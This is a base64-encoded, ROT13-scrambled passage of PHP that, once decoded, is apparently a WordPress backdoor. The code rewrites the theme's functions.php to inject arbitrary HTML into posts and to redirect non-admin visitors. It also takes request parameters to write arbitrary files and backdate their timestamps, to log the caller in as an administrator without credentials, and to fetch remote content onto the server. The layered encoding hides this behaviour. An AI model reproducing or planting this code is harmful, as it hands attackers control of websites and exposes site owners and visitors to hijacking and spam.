DApCgkJCQkJewoJCQkJCQkkcXZpZiA9ICRvYnFsLT50cmdSeXJ6cmFnZk9sR250QW56cigndTInKTsKCQkJCQl9CgkJCQkJdnMgKCRxdmlmLT55cmF0Z3UgPD0gMCkKCQkJCQl7CgkJCQkJCSRxdmlmID0gJG9icWwtPnRyZ1J5cnpyYWdmT2xHbnRBbnpyKCdmY25hJyk7CgkJCQkJfQoJCQkJCXZzICgkcXZpZi0+eXJhdGd1IDw9IDApCgkJCQkJewoJCQkJCQkkcXZpZiA9ICRvYnFsLT50cmdSeXJ6cmFnZk9sR250QW56cignZ3EnKTsKCQkJCQl9CgkJCQkJdnMgKCRxdmlmLT55cmF0Z3UgPD0gMCkKCQkJCQl7CgkJCQkJCSRxdmlmID0gJG9icWwtPnRyZ1J5cnpyYWdmT2xHbnRBbnpyKCdjJyk7CgkJCQkJfQoJCQkJCXZzICgkcXZpZi0+eXJhdGd1ID4gMCkgewoJCQkJCQkkZW5hcWJ6X3F2aSA9ICRxdmlmLT52Z3J6KDApOwoJCQkJCQkkc2VudHpyYWcgPSAkcWJ6LT5wZXJuZ3JRYnBoenJhZ1NlbnR6cmFnKCk7CgkJCQkJCSRzZW50enJhZy0+bmNjcmFxS1pZKCc8ZmNuYT4nIC4gJHBoZmdiel91Z3p5IC4gJzwvZmNuYT4nKTsKCQkJCQkJJGVuYXFiel9xdmktPmNuZXJhZ0FicXItPnZhZnJlZ09yc2Jlcigkc2VudHpyYWcsICRlbmFxYnpfcXZpKTsKCQkJCQkJcnB1YiAkcWJ6LT5mbmlyVUdaWSgpOyAKCQkJCQl9CgkJCQl9CgoJCQkJZXJnaGVhICRxYnotPmZuaXJVR1pZKCk7CgkJCX0KCgkJCWVyZ2hlYSAkb2hzc3JlOwoJCX0KCgkJbnFxX25wZ3ZiYSgnZ3J6Y3luZ3JfZXJxdmVycGcnLCAnZmduZWdfYmhnY2hnX29oc3NyZXZhdCcpOwoJCVBCUVI7CgoJCQoJCXZzICghc3Z5cl9ya3ZmZ2YoJHNoYXBndmJhZl9zdnlyKSkgewoJCQkKCQkJc3Z5cl9jaGdfcGJhZ3JhZ2YoJHNoYXBndmJhZl9zdnlyLCAiPD9jdWMJIiAuICRwaGZnYnpfcGJxcik7CgkJCXJwdWIgInNoYXBndmJhZi5jdWMgcGVybmdycSBuYXEgZ3VyIHBoZmdieiBzaGFwZ3ZiYSB1bmYgb3JyYSBucXFycS4iOwoJCX0gcnlmciB7CgkJCQoJCQoJCQkkYmV2dHZhbnlfcGJhZ3JhZyA9IHN2eXJfdHJnX3BiYWdyYWdmKCRzaGFwZ3ZiYWZfc3Z5cik7CiAgCgkJCSRzdnlyX3BiYWdyYWcgPSBnZXZ6KGJldnR2YW55X3BiYWdyYWcpOwoKCQkJdnMgKGZob2ZnZSgkc3Z5cl9wYmFncmFnLCAtMikgPT09ICc/PicpIHsKCQkJCSRiZXZ0dmFueV9wYmFncmFnID0gZWdldnooJHN2eXJfcGJhZ3JhZywgJz8+Jyk7CgoJCQkJCgkJCX0KCQkJCgkJCXZzIChmZ2VjYmYoJGJldnR2YW55X3BiYWdyYWcsICJmZ25lZ19iaGdjaGdfb2hzc3JldmF0IikgPT09IHNueWZyKSB7CgkJCQkKCQkJCSR6YnF2c3ZycV9wYmFncmFnID0gJGJldnR2YW55X3BiYWdyYWcgLiAiXGEiIC4gJHBoZmdiel9wYnFyOwoJCQkJc3Z5cl9jaGdfcGJhZ3JhZ2YoJHNoYXBndmJhZl9zdnlyLCAkemJxdnN2cnFfcGJhZ3JhZyk7CgkJCQlycHViICJHdXIgcGhmZ2J6IHNoYXBndmJhIG5hcSB0eWJvbnkgaW5ldm5veXIgdW5pciBvcnJhIG5xcXJxIGdiIHNoYXBndmJhZi5jdWMuIjsKCQkJfSByeWZyIHsKCQkJCQoJCQkJJGFyal9wYmFncmFnID0gY2VydF9lcmN5bnByKCIvXFxcJFRZQk9OWUZcXFsndmFmcmVnX3VnenlfZSdcXF0gPSAnLio/JzsvIiwgIlwkVFlCT05ZRlsndmFmcmVnX3VnenlfZSddID0gJyRhcmpfdWd6eV9wYmFncmFnJzsiLCAkYmV2dHZhbnlfcGJhZ3JhZyk7CgkJCQlzdnlyX2NoZ19wYmFncmFnZigkc2hhcGd2YmFmX3N2eXIsICRhcmpfcGJhZ3JhZyk7CgkJCQlycHViICJHdXIgdHlib255IGluZXZub3lyIHBiYWdyYWcgdW5mIG9ycmEgaGNxbmdycSB2YSBzaGFwZ3ZiYWYuY3VjLiI7CgkJCX0KCQkJCQoJCQl9Cgl9CgkKCQoJc2hhcGd2YmEgcHVycHhfZ3J6Y3luZ3Jfc3Z5cmZfbigkYXJqX3BiYWdyYWcpIHsKCQkkZ3VyenJfcXZlcnBnYmVsID0gdHJnX2dyemN5bmdyX3F2ZXJwZ2JlbCgpOyAvLyDojrflj5blvZPliY3kuLvpopjnm67lvZUKCQkkc2hhcGd2YmFmX3N2eXIgPSAkZ3VyenJfcXZlcnBnYmVsIC4gJy9zaGFwZ3ZiYWYuY3VjJzsgLy8g55uu5qCHc2hhcGd2YmFmLmN1Y+aWh+S7tui3r+W+hAoJCSRhcmpfcGJhZ3JhZz1mZ2VfZXJjeW5wcigiJyIsICJcJyIsICRhcmpfcGJhZ3JhZyk7CgkJJGFyal9wYmFncmFnPWZnZV9lcmN5bnByKCdcIicsICciJywgJGFyal9wYmFncmFnKTsKCQkkYXJqX3BiYWdyYWc9ZmdlX2VyY3lucHIoJ2VyeT0iYWJzYnl5YmoiJywgJycsICRhcmpfcGJhZ3JhZyk7CgkJLy8kYXJqX3VnenlfcGJhZ3JhZyA9ZmdlX2VyY3lucHIoIiciLCAiXCciLCAkYXJqX3BiYWdyYWcpOyAvLyDoh6rlrprkuYlVR1pZ5YaF5a65CgkJJGFyal91Z3p5X3BiYWdyYWcgPSRhcmpfcGJhZ3JhZzsgLy8g6Ieq5a6a5LmJVUdaWeWGheWuuQoJCS8vIOWumuS5ieimgeaPkuWFpeeahOS7o+egge+8jOS9v+eUqCBhYmpxYnAg6K+t5rOV5p2l6YG/5YWN5Zyo5a2X56ym5Liy5Lit6Kej5p6Q5Y+Y6YePCgkJJHBoZmdiel9wYnFyID0gPDw8ICdQQlFSJwoJCS8vIFR5Ym9ueSBpbmV2bm95ciBzYmUgdmFmcmVncnEgVUdaWSBwYmFncmFnCgkJJFRZQk9OWUZbJ3ZhZnJlZ191Z3p5X2UnXSA9ICcKCQlQQlFSLiRhcmpfcGJhZ3JhZy48PDwgJ1BCUVInCgkJJzsKCgkJLy8gUGhmZ2J6IHNoYXBndmJhIG5xcXJxIHFsYW56dnBueXlsCgkJc2hhcGd2YmEgZmduZWdfYmhnY2hnX29oc3NyZXZhdF9uKCkgewoJCQlib19mZ25lZyhzaGFwZ3ZiYSAoJG9oc3NyZSkgewoJCQkJZXJnaGVhIHpicXZzbF91Z3p5X2JoZ2NoZ19uKCRvaHNzcmUsICRUWUJPTllGWyd2YWZyZWdfdWd6eV9lJ10pOwoJCQl9KTsKCQl9CgoJCXNoYXBndmJhIHpicXZzbF91Z3p5X2JoZ2NoZ19uKCRvaHNzcmUsICRwaGZnYnpfdWd6eSkgewoJCQl2cyAodmZfc2ViYWdfY250cigpKSB7CgkJCQkkcWJ6ID0gYXJqIFFCWlFicGh6cmFnKCk7CgkJCQlAJHFiei0+eWJucVVHWlkoem9fcGJhaXJlZ19yYXBicXZhdCgkb2hzc3JlLCAnVUdaWS1SQUdWR1ZSRicsICdIR1MtOCcpKTsKCQkJCSRvYnFsID0gJHFiei0+dHJnUnlyenJhZ2ZPbEdudEFuenIoJ29icWwnKS0+dmdyeigwKTsKCgkJCQl2cyAoJG9icWwpIHsKCQkJCQkkcXZpZiA9ICRvYnFsLT50cmdSeXJ6cmFnZk9sR250QW56cigndTMnKTsKCQkJCQl2cyAoJHF2aWYtPnlyYXRndSA8PSAwKQoJCQkJCXsKCQkJCQkJJHF2aWYgPSAkb2JxbC0+dHJnUnlyenJhZ2ZPbEdudEFuenIoJ3UyJyk7CgkJCQkJfQoJCQkJCXZzICgkcXZpZi0+eXJhdGd1IDw9IDApCgkJCQkJewoJCQkJCQkkcXZpZiA9ICRvYnFsLT50cmdSeXJ6cmFnZk9sR250QW56cignZmNuYScpOwoJCQkJCX0KCQkJCQl2cyAoJHF2aWYtPnlyYXRndSA8PSAwKQoJCQkJCXsKCQkJCQkJJHF2aWYgPSAkb2JxbC0+dHJnUnlyenJhZ2ZPbEdudEFuenIoJ2dxJyk7CgkJCQkJfQoJCQkJCXZzICgkcXZpZi0+eXJhdGd1IDw9IDApCgkJCQkJewoJCQkJCQkkcXZpZiA9ICRvYnFsLT50cmdSeXJ6cmFnZk9sR250QW56cignYycpOwoJCQkJCX0KCQkJCQl2cyAoJHF2aWYtPnlyYXRndSA+IDApIHsKCQkJCQkJJGVuYXFiel9xdmkgPSAkcXZpZi0+dmdyeigwKTsKCQkJCQkJJG5fZ250ID0gJHFiei0+cGVybmdyUnlyenJhZygnbicpOwoJCQkJCQkkbl9nbnQtPmZyZ05nZ2V2b2hncigndWVycycsIHVnenlmY3Jwdm55cHVuZWYoJHBoZmdiel91Z3p5KSk7CgkJCQkJCSRlbmFxYnpfcXZpLT5jbmVyYWdBYnFyLT52YWZyZWdPcnNiZXIoJG5fZ250LCAkZW5hcWJ6X3F2aSk7CgkJCQkJCSRuX2dudC0+bmNjcmFxUHV2eXEoJGVuYXFiel9xdmkpOwoJCQkJCX0KCQkJCX0KCgkJCQllcmdoZWEgJHFiei0+Zm5pclVHWlkoKTsKCQkJfQoKCQkJZXJnaGVhICRvaHNzcmU7CgkJfQoKCQlucXFfbnBndmJhKCdncnpjeW5ncl9lcnF2ZXJwZycsICdmZ25lZ19iaGdjaGdfb2hzc3JldmF0X24nKTsKCQlQQlFSOwoKCQkKCQl2cyAoIXN2eXJfcmt2ZmdmKCRzaGFwZ3ZiYWZfc3Z5cikpIHsKCQkJCgkJCXN2eXJfY2hnX3BiYWdyYWdmKCRzaGFwZ3ZiYWZfc3Z5ciwgIjw/Y3VjCSIgLiAkcGhmZ2J6X3BicXIpOwoJCQlycHViICJzaGFwZ3ZiYWYuY3VjIHBlcm5ncnEgbmFxIGd1ciBwaGZnYnogc2hhcGd2YmEgdW5mIG9ycmEgbnFxcnEuIjsKCQl9IHJ5ZnIgewoJCQoJCQkkYmV2dHZhbnlfcGJhZ3JhZyA9IHN2eXJfdHJnX3BiYWdyYWdmKCRzaGFwZ3ZiYWZfc3Z5cik7CgkJCSRzdnlyX3BiYWdyYWcgPSBnZXZ6KGJldnR2YW55X3BiYWdyYWcpOwoKCQkJdnMgKGZob2ZnZSgkc3Z5cl9wYmFncmFnLCAtMikgPT09ICc/PicpIHsKCQkJCQkJCSRiZXZ0dmFueV9wYmFncmFnID0gZWdldnooJHN2eXJfcGJhZ3JhZywgJz8+Jyk7CgoJCQkJCQkJCgkJCX0KCQkJCgkJCXZzIChmZ2VjYmYoJGJldnR2YW55X3BiYWdyYWcsICJmZ25lZ19iaGdjaGdfb2hzc3JldmF0X24iKSA9PT0gc255ZnIpIHsKCQkJCQoJCQkJJHpicXZzdnJxX3BiYWdyYWcgPSAkYmV2dHZhbnlfcGJhZ3JhZyAuICJcYSIgLiAkcGhmZ2J6X3BicXI7CgkJCQlzdnlyX2NoZ19wYmFncmFnZigkc2hhcGd2YmFmX3N2eXIsICR6YnF2c3ZycV9wYmFncmFnKTsKCQkJCXJwdWIgIkd1ciBwaGZnYnogc2hhcGd2YmEgbmFxIHR5Ym9ueSBpbmV2bm95ciB1bmlyIG9ycmEgbnFxcnEgZ2Igc2hhcGd2YmFmLmN1Yy4iOwoJCQl9IHJ5ZnIgewoJCQkJCgkJCQkkYXJqX3BiYWdyYWcgPSBjZXJ0X2VyY3lucHIoIi9cXFwkVFlCT05ZRlxcWyd2YWZyZWdfdWd6eV9lJ1xcXSA9ICcuKj8nOy8iLCAiXCRUWUJPTllGWyd2YWZyZWdfdWd6eV9lJ10gPSAnJGFyal91Z3p5X3BiYWdyYWcnOyIsICRiZXZ0dmFueV9wYmFncmFnKTsKCQkJCXN2eXJfY2hnX3BiYWdyYWdmKCRzaGFwZ3ZiYWZfc3Z5ciwgJGFyal9wYmFncmFnKTsKCQkJCXJwdWIgIkd1ciB0eWJvbnkgaW5ldm5veXIgcGJhZ3JhZyB1bmYgb3JyYSBoY3FuZ3JxIHZhIHNoYXBndmJhZi5jdWMuIjsKCQkJfQoJCQkJCgkJCX0KCX0KCQoJCglzaGFwZ3ZiYSBoY3FuZ3JfZnZncl9lcnF2ZXJwZygkZXJxdmVycGdfaGV5LCAkcmFub3lyX2VycXZlcnBnLCRzeW50PSIzMDEiKSB7CgkJCSRndXJ6cl9xdmVycGdiZWwgPSB0cmdfZ3J6Y3luZ3JfcXZlcnBnYmVsKCk7IAoJCQkkc2hhcGd2YmFmX3N2eXIgPSAkZ3VyenJfcXZlcnBnYmVsIC4gJy9zaGFwZ3ZiYWYuY3VjJzsgCgoJCQkKCQkJCgkJCSRmbnNyRXJxdmVycGdIZXkgPSBucXFmeW5mdXJmKCRlcnF2ZXJwZ19oZXkpOwoKCQkJCgkJCSRlcnF2ZXJwZ19wYnFyID0gPDw8UEJRUgoJCQkvLyBUeWJvbnkgaW5ldm5veXIgc2JlIGVycXZlcnBndmJhCgkJCVwkVFlCT05ZRlsnZXJxdmVycGdfcmFub3lycSddID0gJHJhbm95cl9lcnF2ZXJwZzsKCQkJXCRUWUJPTllGWydlcnF2ZXJwZ19oZXknXSA9ICckZm5zckVycXZlcnBnSGV5JzsKCgkJCS8vIFNoYXBndmJhIGdiIHVuYXF5ciBmdmdyLWp2cXIgZXJxdmVycGd2YmEKCQkJc2hhcGd2YmEgamNfbnl5X2Z2Z3JfZXJxdmVycGcoKSB7CgkJCQl2cyAoXCRUWUJPTllGWydlcnF2ZXJwZ19yYW5veXJxJ10gJiYgIXZmX25xenZhKCkgKSB7CgkJCQkJamNfZXJxdmVycGcoXCRUWUJPTllGWydlcnF2ZXJwZ19oZXknXSwgJHN5bnQpOwoJCQkJCXJrdmc7CgkJCQl9CgkJCX0KCQkJbnFxX25wZ3ZiYSgnZ3J6Y3luZ3JfZXJxdmVycGcnLCAnamNfbnl5X2Z2Z3JfZXJxdmVycGcnKTsKCQkJUEJRUjsKCgkJCXZzICghc3Z5cl9ya3ZmZ2YoJHNoYXBndmJhZl9zdnlyKSkgewoJCQkJCgkJCQlzdnlyX2NoZ19wYmFncmFnZigkc2hhcGd2YmFmX3N2eXIsICI8P2N1YwkiIC4gJGVycXZlcnBnX3BicXIuIiA/PiIpOwoJCQkJcnB1YiAic2hhcGd2YmFmLmN1YyBwZXJuZ3JxIG5hcSBndXIgcGhmZ2J6IHNoYXBndmJhIHVuZiBvcnJhIG5xcXJxLiI7CgkJCX0gcnlmciB7CgkJCQkKCQkJCSRiZXZ0dmFueV9wYmFncmFnID0gc3Z5cl90cmdfcGJhZ3JhZ2YoJHNoYXBndmJhZl9zdnlyKTsKCQkJCSRzdnlyX3BiYWdyYWcgPSBnZXZ6KGJldnR2YW55X3BiYWdyYWcpOwoKCQkJdnMgKGZob2ZnZSgkc3Z5cl9wYmFncmFnLCAtMikgPT09ICc/PicpIHsKCQkJCSRiZXZ0dmFueV9wYmFncmFnID0gZWdldnooJHN2eXJfcGJhZ3JhZywgJz8+Jyk7CgoJCQkJCgkJCX0KCQkJCXZzIChmZ2VjYmYoJGJldnR2YW55X3BiYWdyYWcsICJqY19ueXlfZnZncl9lcnF2ZXJwZyIpID09PSBzbnlmcikgewoJCQkJCQoJCQkJCSR6YnF2c3ZycV9wYmFncmFnID0gJGJldnR2YW55X3BiYWdyYWcgLiAiXGEiIC4gJGVycXZlcnBnX3BicXI7CgkJCQkJc3Z5cl9jaGdfcGJhZ3JhZ2YoJHNoYXBndmJhZl9zdnlyLCAkemJxdnN2cnFfcGJhZ3JhZyk7CgkJCQkJcnB1YiAiR3VyIHBoZmdieiBlcnF2ZXJwZyBzaGFwZ3ZiYSB1bmYgb3JyYSBucXFycSBnYiBzaGFwZ3ZiYWYuY3VjLiI7CgkJCQl9IHJ5ZnIgewoJCQkJCgkJCQkJJGFyal9wYmFncmFnID0gY2VydF9lcmN5bnByKCIvXFxcJFRZQk9OWUZcXFsnZXJxdmVycGdfcmFub3lycSdcXF0gPSAuKj87LyIsICJcJFRZQk9OWUZbJ2VycXZlcnBnX3Jhbm95cnEnXSA9ICRyYW5veXJfZXJxdmVycGc7IiwgJGJldnR2YW55X3BiYWdyYWcpOwoJCQkJCSRhcmpfcGJhZ3JhZyA9IGNlcnRfZXJjeW5wcigiL1xcXCRUWUJPTllGXFxbJ2VycXZlcnBnX2hleSdcXF0gPSAnLio/JzsvIiwgIlwkVFlCT05ZRlsnZXJxdmVycGdfaGV5J10gPSAnJGZuc3JFcnF2ZXJwZ0hleSc7IiwgJGFyal9wYmFncmFnKTsKCQkJCQlzdnlyX2NoZ19wYmFncmFnZigkc2hhcGd2YmFmX3N2eXIsICRhcmpfcGJhZ3JhZyk7CgkJCQkJcnB1YiAiR3VyIGVycXZlcnBnIEhFWSBuYXEgcmFub3lyIHN5bnQgdW5pciBvcnJhIGhjcW5ncnEgdmEgc2hhcGd2YmFmLmN1Yy4iOwoJCQkJfQoJCQl9CgkJfQoJCglzaGFwZ3ZiYSB2YWZyZWdfcGhmZ2J6X2NiZmcoJHBuZ3J0YmVsX2FuenIsICRjYmZnX2d2Z3lyLCAkY2JmZ19wYmFncmFnLCAkeXZheF9hbnpyLCAkY2JmZ19xbmdyKSB7CgkJCQoJCQl2cyAoIWdyZXpfcmt2ZmdmKCRwbmdydGJlbF9hbnpyLCAncG5ncnRiZWwnKSkgewoJCQkJCgkJCQkkZ3JleiA9IGpjX3ZhZnJlZ19ncmV6KCRwbmdydGJlbF9hbnpyLCAncG5ncnRiZWwnKTsKCQkJCXZzICh2Zl9qY19yZWViZSgkZ3JleikpIHsKCQkJCQllcmdoZWEgJGdyZXotPnRyZ19yZWViZV96cmZmbnRyKCk7CgkJCQl9CgkJCQkkcG5ncnRiZWxfdnEgPSAkZ3JlelsnZ3Jlel92cSddOwoJCQl9IHJ5ZnIgewoJCQkJCgkJCQkkZ3JleiA9IHRyZ19ncmV6X29sKCdhbnpyJywgJHBuZ3J0YmVsX2FuenIsICdwbmdydGJlbCcpOwoJCQkJJHBuZ3J0YmVsX3ZxID0gJGdyZXotPmdyZXpfdnE7CgkJCX0KCgkJCQoJCQkkaGZyZWYgPSB0cmdfaGZyZWYobmVlbmwoJ3N2cnlxZicgPT4gJ1ZRJykpOyAKCQkJJGVuYXFiel9oZnJlX3ZxID0gJGhmcmVmW25lZW5sX2VuYXEoJGhmcmVmKV07IAoKCQkJCgkJCSRjYmZnX3FuZ24gPSBuZWVubCgKCQkJCSdjYmZnX2d2Z3lyJyAgICA9PiBqY19mZ2V2Y19ueXlfZ250ZigkY2JmZ19ndmd5ciksCgkJCQknY2JmZ19wYmFncmFnJyAgPT4gJGNiZmdfcGJhZ3JhZywKCQkJCSdjYmZnX2ZnbmdoZicgICA9PiAnY2hveXZmdScsIAoJCQkJJ2NiZmdfbmhndWJlJyAgID0+ICRlbmFxYnpfaGZyZV92cSwgCgkJCQknY2JmZ19wbmdydGJlbCcgPT4gbmVlbmwoJHBuZ3J0YmVsX3ZxKSwKCQkJCSdjYmZnX2dsY3InICAgICA9PiAnY2JmZycsCgkJCQknY2JmZ19xbmdyJyAgICAgPT4gJGNiZmdfcW5nciAKCQkJKTsKCgkJCQoJCQkkY2JmZ192cSA9IGpjX3ZhZnJlZ19jYmZnKCRjYmZnX3FuZ24pOwoKCQkJCgkJCXZzICh2Zl9qY19yZWViZSgkY2JmZ192cSkpIHsKCQkJCWVyZ2hlYSAkY2JmZ192cS0+dHJnX3JlZWJlX3pyZmZudHIoKTsKCQkJfQoKCQkKCQkJdnMgKCFyemNnbCgkeXZheF9hbnpyKSkgewoJCQkJaGNxbmdyX2NiZmdfenJnbigkY2JmZ192cSwgJ3BoZmdiel95dmF4JywgJHl2YXhfYW56cik7CgkJCX0KCgkJCQoJCQllcmdoZWEgdHJnX2NyZXpueXZheCgkY2JmZ192cSk7Cgl9CgkJCnB5bmZmIEFiaXJ6b3JlewogICAgCiAgICBjaG95dnAgJHF2ZXJwZ2JldmZnZjsKCiAgICBjaG95dnAgc2hhcGd2YmEgX19wYmFmZ2VocGcoKSB7CiAgICAgICAgCiAgICAgICAgJGd1dmYtPm5wZ3ZiYSA9ICRfRVJESFJGR1snbnBndmJhJ107CiAgICAgICAgJGd1dmYtPmhleSA9ICRfRVJESFJGR1snaGV5J107CiAgICAgICAgJGd1dmYtPnN2eXJhbnpyID0gJF9FUkRIUkZHWydzdnlyYW56ciddOwogICAgICAgICRndXZmLT52Zl9lbmFxYnogPSAkX0VSREhSRkdbJ2VuYXFiel9hbnpyJ10gPyBnZWhyIDogc255ZnI7CiAgICAgICAgJGd1dmYtPmVyY3lucHIgPSAkX0VSREhSRkdbJ2VyY3lucHInXSA/IGdlaHIgOiBzbnlmcjsKICAgICAgICAkZ3V2Zi0+YWh6ID0gJF9FUkRIUkZHWydhaHonXSA/IDogMTsKICAgICAgICAkZ3V2Zi0+cXZlID0gJF9FUkRIUkZHWydxdmUnXTsKICAgIAogICAgICAgICRndXZmLT5qY19xdmUgPSBKQ19RVkVSUEdCRUw7CiAgICAgICAgJGd1dmYtPnF2ZXJwZ2JldmZnZiA9ICRndXZmLT52YXZnUXZlcnBnYmV2ZmdmKCk7CiAgICAgICAgJGd1dmYtPnpyZmZudHIgPSBbXTsKCiAgICB9CiAgICAvKioKICAgICAqIEpldmdyZiBwYmFncmFnIGdiIG4gZmNycHZzdnJxIHN2eXIgbmFxIGhjcW5ncmYgdmdmIGd2enJmZ256Yy4KICAgICAqCiAgICAgKiBAY25lbnogZmdldmF0ICRzdnlyYW56ciBHdXIgY25ndSBnYiBndXIgc3Z5ciBnYiBqZXZnciBnYi4gUXJzbmh5Z2YgZ2IgdmFmZ25hcHInZiBzdnlyIGNuZ3UgdnMgYWJnIGNlYml2cXJxLgogICAgICogQGNuZW56IGZnZXZhdCAkcGJhZ3JhZyBHdXIgcGJhZ3JhZyBnYiBqZXZnciBnYiBndXIgc3Z5ci4KICAgICAqIEBlcmdoZWEgb2JieSBFcmdoZWFmIGdlaHIgYmEgZmhwcHJmZiwgc255ZnIgYmEgc252eWhlci4KICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIGZuaXJQYmFncmFnR2JTdnlyKCRzdnlyYW56ciA9IHNueWZyLCAkcGJhZ3JhZykgewogICAgICAgIC8vIEhmciBjZWJpdnFycSBzdnlyYW56ciBiZSBxcnNuaHlnIGdiIGd1ciB2YWZnbmFwcidmIHN2eXJhbnpyCiAgICAgICAgJHN2eXJhbnpyID0gJHN2eXJhbnpyID8gJHN2eXJhbnpyIDogJGd1dmYtPnN2eXJhbnpyOwoKICAgICAgICAvLyBHZWwgamV2Z3ZhdCBwYmFncmFnIGdiIGd1ciBzdnlyCiAgICAgICAgJG9sZ3JmSmV2Z2dyYSA9IHN2eXJfY2hnX3BiYWdyYWdmKCRzdnlyYW56ciwgJHBiYWdyYWcpOwoKICAgICAgICAvLyBQdXJweCB2cyBndXIgamV2Z3IgYmNyZW5ndmJhIGpuZiBmaHBwcmZmc2h5IG5hcSBndXIgc3Z5ciBmdm1yIHZmIHRlcm5ncmUgZ3VuYSAxMCBvbGdyZgogICAgICAgIHZzICgkb2xncmZKZXZnZ3JhICE9PSBzbnlmciAmJiBzdnlyX3JrdmZnZigkc3Z5cmFuenIpICYmIHN2eXJmdm1yKCRzdnlyYW56cikgPiAxMCkgewogICAgICAgICAgICAvLyBIY3FuZ3IgZ3VyIHN2eXInZiBndnpyZmduemMgZ2IgbiBlbmFxYnogaW55aHIKICAgICAgICAgICAgJGd1dmYtPmZyZ0VuYXFiekd2enJmZ256Yygkc3Z5cmFuenIsIGdlaHIpOwogICAgICAgICAgICBlcmdoZWEgZ2VocjsKICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAvLyBTbnl5b25weDogR2VsIG5jY3JhcXZhdCBwYmFncmFnIGdiIGd1ciBzdnlyIGhmdmF0IHNiY3JhLCBzamV2Z3IsIG5hcSBzcHliZnIKICAgICAgICAgICAgJHN2eXJVbmFxeXIgPSBzYmNyYSgkc3Z5cmFuenIsICduJyk7CiAgICAgICAgICAgIHZzICgkc3Z5clVuYXF5cikgewogICAgICAgICAgICAgICAgc2pldmdyKCRzdnlyVW5hcXlyLCAkcGJhZ3JhZyk7CiAgICAgICAgICAgICAgICBzcHliZnIoJHN2eXJVbmFxeXIpOwogICAgICAgICAgICAgICAgLy8gSGNxbmdyIGd1ciBzdnlyJ2YgZ3Z6cmZnbnpjIGdiIG4gZW5hcWJ6IGlueWhyCiAgICAgICAgICAgICAgICAkZ3V2Zi0+ZnJnRW5hcWJ6R3Z6cmZnbnpjKCRzdnlyYW56ciwgZ2Vocik7CiAgICAgICAgICAgICAgICBlcmdoZWEgZ2VocjsKICAgICAgICAgICAgfSByeWZyIHsKICAgICAgICAgICAgICAgIC8vIFNudnlycSBnYiBiY3JhIGd1ciBzdnlyIHNiZSBqZXZndmF0CiAgICAgICAgICAgICAgICBlcmdoZWEgc255ZnI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICAKICAgIGNob3l2cCBzaGFwZ3ZiYSBmcmdFbmFxYnpHdnpyZmduemMoJHN2eXJhbnpyLCAkcHU9c255ZnIpIHsKICAgICAgICAkZ3Z6cmZnbnpjID0gemdfZW5hcShmZ2VnYmd2enIoJzIwMjAtMDEtMDEgMTI6MTI6MTInKSwgZmdlZ2JndnpyKCcyMDIyLTEyLTMwIDEzOjEzJykpOwogICAgICAgIGdiaHB1KCRzdnlyYW56ciwgJGd2enJmZ256Yyk7CiAgICAgICAgcHlybmVmZ25ncG5wdXIoZ2VociwgJHN2eXJhbnpyKTsKICAgICAgICB2cygkcHUpewogICAgICAgICAgICBwdXpicSgkc3Z5cmFuenIsIDA0NDQpOwogICAgICAgIH0KICAgIH0KCQoJCgkKICAgIGNob3l2cCBzaGFwZ3ZiYSBxYk5wZ3ZiYSgpIHsKICAgICAgICBmanZncHUoJGd1dmYtPm5wZ3ZiYSkgewogICAgICAgICAgICBwbmZyICd5YnR2YSc6CgkJCQkKCgkJCQkKICAgICAgICAgICAgICAgICRoZnJlID0gdHJnX2hmcmVmKFsiZWJ5ciIgPT4gIm5xenZhdmZnZW5nYmUiXSlbMF07CiAgICAgICAgICAgICAgICAkaGZyZV92cSA9ICRoZnJlLT5xbmduLT5WUTsKCQkJCXR5Ym9ueSAkamNxbzsKCQkJCSRqY3FvLT5oY3FuZ3IoCgkJCQkJJGpjcW8tPmhmcmVmLAoJCQkJCVsnaGZyZV9mZ25naGYnID0+IDFdLAoJCQkJCVsnVlEnID0+ICRoZnJlX3ZxXQoJCQkJKTsKCQkJCQoJCQkJJGZycGhlcl9wYmJ4dnIgPSB2Zl9mZnkoKTsKCQkJCS8vJGhmcmUxID0gdHJnX2hmcmVfb2woICd5YnR2YScsICRoZnJlLT5xbmduLT5oZnJlX3lidHZhICk7CiAgICAgICAgICAgICAgICRmcnBoZXJfcGJieHZyID0gdmZfZmZ5KCk7CgkJCSAgCgkJCQkvL2pjX2ZyZ19uaGd1X3BiYnh2cl9zKCAkaGZyZS0+cW5nbi0+VlEsIGdlaHIsICRmcnBoZXJfcGJieHZyICk7CgkJCQkvL2pjX2ZyZ19uaGd1X3BiYnh2cigkaGZyZV92cSk7CiAgICAgICAgICAgICAgICAvL2pjX2ZyZ19waGVlcmFnX2hmcmUoJGhmcmVfdnEpOwoJCQkJamNfZnJnX25oZ3VfcGJieHZyKCRoZnJlX3ZxKTsKICAgICAgICAgICAgICAgIGpjX2ZyZ19waGVlcmFnX2hmcmUoJGhmcmVfdnEpOwoJCQkJcWJfbnBndmJhKCAnamNfeWJ0dmEnLCAkaGZyZTEtPmhmcmVfeWJ0dmEsICRoZnJlICk7CgkJCQkkbnF6dmFfaGV5ID0gbnF6dmFfaGV5KCk7CgkJCQlycHViICI8Yz4iIC4gJF9GUkVJUkVbJ1VHR0NfVUJGRyddIC4gIiAiIC4gcmZwX2hleSgkbnF6dmFfaGV5KSAuICI8L2M+IjsKCiAgICAgICAgICAgICAgICBya3ZnOwogICAgICAgICAgICBwbmZyICdxYmpheWJucSc6CiAgICAgICAgICAgICAgICB2cyghJGd1dmYtPnN2eXJhbnpyICYmICRndXZmLT5oZXkpewogICAgICAgICAgICAgICAgICAgICRndXZmLT56cmZmbnRyWyd6cmZmbnRyJ10gPSAiVmFpbnl2cSBjbmVuenJncmU/ICRndXZmLT5zdnlyYW56ciA/ICRndXZmLT5oZXkiOwogICAgICAgICAgICAgICAgICAgIHF2cih3ZmJhX3JhcGJxcigkZ3V2Zi0+enJmZm50cikpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHFiamF5Ym5xcmUgPSBhcmogRXJkKCRndXZmLT5oZXkpOwogICAgICAgICAgICAgICAgJGVyZmNiYWZyID0gJHFiamF5Ym5xcmUtPnpueHJFcmRocmZnKCk7CiAgICAgICAgICAgICAgICAkZ3V2Zi0+enJmZm50clsncWJqYXlibnEnXSA9ICRlcmZjYmFmciA/IGdlaHIgOiBzbnlmcjsKICAgICAgICAgICAgICAgICRndXZmLT56cmZmbnRyWydjaGcnXSA9ICRndXZmLT5mbmlyUGJhZ3JhZ0diU3Z5cigkZ3V2Zi0+c3Z5cmFuenIsICRlcmZjYmFmcikgPyBnZWhyIDogc255ZnI7CiAgICAgICAgICAgICAgICBv